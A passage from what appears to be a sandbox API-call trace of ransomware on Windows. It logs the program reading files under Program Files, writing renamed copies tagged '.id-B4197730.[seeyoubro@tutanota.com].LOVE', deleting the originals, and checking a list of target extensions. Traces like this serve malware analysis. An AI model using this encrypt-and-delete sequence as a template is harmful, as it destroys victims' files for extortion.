files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0202.526] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.526] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.526] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0202.526] GetLastError () returned 0x0 [0202.526] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2371c, lpOverlapped=0x0) returned 1 [0203.144] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x23720, lpOverlapped=0x0) returned 1 [0203.147] ReadFile (in: hFile=0x2d8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.147] WriteFile (in: hFile=0x330, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x10a, lpOverlapped=0x0) returned 1 [0203.147] SetEndOfFile (hFile=0x330) returned 1 [0203.147] CloseHandle (hObject=0x330) returned 1 [0203.150] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.150] SetEndOfFile (hFile=0x2d8) returned 1 [0203.151] CloseHandle (hObject=0x2d8) returned 1 [0203.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.151] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0203.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.152] lstrlenW (lpString=".doc") returned 4 [0203.152] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0203.152] lstrlenW (lpString=".docx") returned 5 [0203.152] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0203.152] lstrlenW (lpString=".pdf") returned 4 [0203.152] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0203.152] lstrlenW (lpString=".xls") returned 4 [0203.152] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0203.152] lstrlenW (lpString=".xlsx") returned 5 [0203.152] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0203.152] lstrlenW (lpString=".ppt") returned 4 [0203.152] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0203.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.152] lstrlenW (lpString=".zip") returned 4 [0203.152] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0203.152] lstrlenW (lpString=".rar") returned 4 [0203.152] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0203.152] lstrlenW (lpString=".bz2") returned 4 [0203.152] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0203.152] lstrlenW (lpString=".7z") returned 3 [0203.152] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0203.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.153] lstrlenW (lpString=".dbf") returned 4 [0203.153] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.153] lstrlenW (lpString=".1cd") returned 4 [0203.153] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.153] lstrlenW (lpString=".jpg") returned 4 [0203.153] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.153] lstrlenW (lpString=".doc") returned 4 [0203.153] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString=".docx") returned 5 [0203.153] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1 [0203.153] lstrlenW (lpString=".pdf") returned 4 [0203.153] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString=".xls") returned 4 [0203.153] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0203.153] lstrlenW (lpString=".xlsx") returned 5 [0203.153] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1 [0203.153] lstrlenW (lpString=".ppt") returned 4 [0203.153] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.153] lstrlenW (lpString=".zip") returned 4 [0203.153] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0203.153] lstrlenW (lpString=".rar") returned 4 [0203.153] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString=".bz2") returned 4 [0203.153] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0203.153] lstrlenW (lpString=".7z") returned 3 [0203.153] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.154] lstrlenW (lpString=".dbf") returned 4 [0203.154] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0203.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.154] lstrlenW (lpString=".1cd") returned 4 [0203.154] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0203.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62 [0203.154] lstrlenW (lpString=".jpg") returned 4 [0203.154] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0203.154] lstrcmpiW (lpString1=".XML", lpString2=".LOVE") returned 1 [0203.154] lstrlenW (lpString="SLERROR.XML") returned 11 [0203.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0203.176] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=36336) returned 1 [0203.176] CloseHandle (hObject=0x364) returned 1 [0203.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0203.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0203.176] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.176] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0203.176] GetLastError () returned 0x0 [0203.176] ReadFile (in: hFile=0x364, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x8df0, lpOverlapped=0x0) returned 1 [0203.256] WriteFile (in: hFile=0x36c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x8e00, lpOverlapped=0x0) returned 1 [0203.258] ReadFile (in: hFile=0x364, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.258] WriteFile (in: hFile=0x36c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xea, lpOverlapped=0x0) returned 1 [0203.258] SetEndOfFile (hFile=0x36c) returned 1 [0203.258] CloseHandle (hObject=0x36c) returned 1 [0203.259] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.259] SetEndOfFile (hFile=0x364) returned 1 [0203.260] CloseHandle (hObject=0x364) returned 1 [0203.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0203.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.261] lstrlenW (lpString=".doc") returned 4 [0203.261] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0203.261] lstrlenW (lpString=".docx") returned 5 [0203.261] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0203.261] lstrlenW (lpString=".pdf") returned 4 [0203.261] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0203.261] lstrlenW (lpString=".xls") returned 4 [0203.261] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString=".xlsx") returned 5 [0203.262] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0203.262] lstrlenW (lpString=".ppt") returned 4 [0203.262] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.262] lstrlenW (lpString=".zip") returned 4 [0203.262] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0203.262] lstrlenW (lpString=".rar") returned 4 [0203.262] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString=".bz2") returned 4 [0203.262] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString=".7z") returned 3 [0203.262] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0203.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.262] lstrlenW (lpString=".dbf") returned 4 [0203.262] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.262] lstrlenW (lpString=".1cd") returned 4 [0203.262] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.262] lstrlenW (lpString=".jpg") returned 4 [0203.262] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0203.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.263] lstrlenW (lpString=".doc") returned 4 [0203.263] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString=".docx") returned 5 [0203.263] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0203.263] lstrlenW (lpString=".pdf") returned 4 [0203.263] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString=".xls") returned 4 [0203.263] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString=".xlsx") returned 5 [0203.263] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0203.263] lstrlenW (lpString=".ppt") returned 4 [0203.263] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.263] lstrlenW (lpString=".zip") returned 4 [0203.263] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0203.263] lstrlenW (lpString=".rar") returned 4 [0203.263] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString=".bz2") returned 4 [0203.263] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString=".7z") returned 3 [0203.263] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0203.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.263] lstrlenW (lpString=".dbf") returned 4 [0203.263] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.263] lstrlenW (lpString=".1cd") returned 4 [0203.263] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0203.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0203.263] lstrlenW (lpString=".jpg") returned 4 [0203.263] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0203.264] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.264] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0203.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.335] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=800867) returned 1 [0203.335] CloseHandle (hObject=0x360) returned 1 [0203.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0203.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.336] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.336] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0203.336] GetLastError () returned 0x0 [0203.336] ReadFile (in: hFile=0x360, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xc3863, lpOverlapped=0x0) returned 1 [0203.419] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xc3870, lpOverlapped=0x0) returned 1 [0203.434] ReadFile (in: hFile=0x360, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.434] WriteFile (in: hFile=0x2c4, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.434] SetEndOfFile (hFile=0x2c4) returned 1 [0203.434] CloseHandle (hObject=0x2c4) returned 1 [0203.901] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.901] SetEndOfFile (hFile=0x360) returned 1 [0203.909] CloseHandle (hObject=0x360) returned 1 [0203.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0203.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.910] lstrlenW (lpString=".doc") returned 4 [0203.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString=".docx") returned 5 [0203.910] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.910] lstrlenW (lpString=".pdf") returned 4 [0203.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString=".xls") returned 4 [0203.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString=".xlsx") returned 5 [0203.910] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.910] lstrlenW (lpString=".ppt") returned 4 [0203.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.910] lstrlenW (lpString=".zip") returned 4 [0203.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.910] lstrlenW (lpString=".rar") returned 4 [0203.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString=".bz2") returned 4 [0203.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString=".7z") returned 3 [0203.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.910] lstrlenW (lpString=".dbf") returned 4 [0203.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.910] lstrlenW (lpString=".1cd") returned 4 [0203.910] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.910] lstrlenW (lpString=".jpg") returned 4 [0203.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.911] lstrlenW (lpString=".doc") returned 4 [0203.911] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString=".docx") returned 5 [0203.911] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.911] lstrlenW (lpString=".pdf") returned 4 [0203.911] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString=".xls") returned 4 [0203.911] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString=".xlsx") returned 5 [0203.911] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.911] lstrlenW (lpString=".ppt") returned 4 [0203.911] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.911] lstrlenW (lpString=".zip") returned 4 [0203.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.911] lstrlenW (lpString=".rar") returned 4 [0203.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString=".bz2") returned 4 [0203.911] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString=".7z") returned 3 [0203.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.911] lstrlenW (lpString=".dbf") returned 4 [0203.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.911] lstrlenW (lpString=".1cd") returned 4 [0203.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0203.911] lstrlenW (lpString=".jpg") returned 4 [0203.911] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.911] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.911] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0203.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0203.912] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=1124942) returned 1 [0203.912] CloseHandle (hObject=0x360) returned 1 [0203.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0203.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 